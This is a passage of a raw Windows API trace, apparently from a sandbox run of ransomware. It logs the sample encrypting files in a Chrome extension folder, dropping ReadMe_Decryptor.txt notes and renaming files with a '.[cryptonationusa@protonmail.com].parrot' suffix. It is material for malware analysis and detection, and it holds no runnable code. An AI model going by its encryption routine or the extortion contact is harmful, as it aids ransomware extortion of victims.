0x5d5360 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5360 | out: hHeap=0x5b0000) returned 1 [0053.140] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0053.140] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0053.140] WriteFile (in: hFile=0x270, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0xe48, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18e024*=0xe48, lpOverlapped=0x0) returned 1 [0053.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0053.141] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.141] CloseHandle (hObject=0x270) returned 1 [0053.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0053.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x2240ba8 [0053.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.142] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0053.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0053.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x689248 | out: hHeap=0x5b0000) returned 1 [0053.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x22403b8 [0053.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22408f8 [0053.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0053.146] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0053.146] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0053.146] GetFileType (hFile=0x270) returned 0x1 [0053.147] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0053.157] lstrcmpW (lpString1="icon_16.png", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.157] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0053.158] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0xa0 [0053.158] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.158] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.158] ReadFile (in: hFile=0x270, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0053.159] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.159] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0xa0, lpOverlapped=0x0) returned 1 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0053.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0053.159] GetLastError () returned 0x0 [0053.159] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0053.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0053.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.159] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d33c8 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22403b8 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0053.160] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c8) returned 0x2240a80 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22403b8 | out: hHeap=0x5b0000) returned 1 [0053.160] WriteFile (in: hFile=0x270, lpBuffer=0x2240a80*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2240a80*, lpNumberOfBytesWritten=0x18e024*=0x1c8, lpOverlapped=0x0) returned 1 [0053.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.160] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.160] CloseHandle (hObject=0x270) returned 1 [0053.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x2240a80 [0053.161] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1ae) returned 0x2240ba8 [0053.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.161] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240ba8 | out: hHeap=0x5b0000) returned 1 [0053.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0053.162] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f30 | out: hHeap=0x5b0000) returned 1 [0053.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x22403b8 [0053.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22408f8 [0053.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0053.162] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0053.162] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0053.163] GetFileType (hFile=0x270) returned 0x1 [0053.163] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0053.368] lstrcmpW (lpString1="main.html", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0053.570] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x5c [0053.570] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x174, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.570] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.570] ReadFile (in: hFile=0x280, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0053.571] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.571] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5c, lpOverlapped=0x0) returned 1 [0053.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0053.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0053.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0053.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0053.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0053.571] GetLastError () returned 0x0 [0053.572] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5cb2e0 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x178) returned 0x2240a80 [0053.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0053.572] WriteFile (in: hFile=0x280, lpBuffer=0x2240a80*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2240a80*, lpNumberOfBytesWritten=0x18e024*=0x178, lpOverlapped=0x0) returned 1 [0053.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.573] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x174, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.573] CloseHandle (hObject=0x280) returned 1 [0053.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x110) returned 0x2240a80 [0053.573] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x196) returned 0x2240b98 [0053.573] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240a80 | out: hHeap=0x5b0000) returned 1 [0053.574] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b98 | out: hHeap=0x5b0000) returned 1 [0053.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22408f8 | out: hHeap=0x5b0000) returned 1 [0053.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0053.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x22403b8 [0053.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x22408f8 [0053.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0053.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0053.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18de18, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0053.577] GetFileType (hFile=0x280) returned 0x1 [0053.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0053.588] lstrcmpW (lpString1="main.js", lpString2="ReadMe_Decryptor.txt") returned -1 [0053.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0053.597] GetFileSize (in: hFile=0x280, lpFileSizeHigh=0x18e0a0 | out: lpFileSizeHigh=0x18e0a0*=0x0) returned 0x5f [0053.597] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x177, nNumberOfBytesToLockHigh=0x0) returned 1 [0053.598] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0053.598] ReadFile (in: hFile=0x280, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0053.598] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.599] ReadFile (in: hFile=0x280, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x5f, lpOverlapped=0x0) returned 1 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0053.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0053.599] GetLastError () returned 0x0 [0053.599] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0053.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0053.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0053.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0053.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: 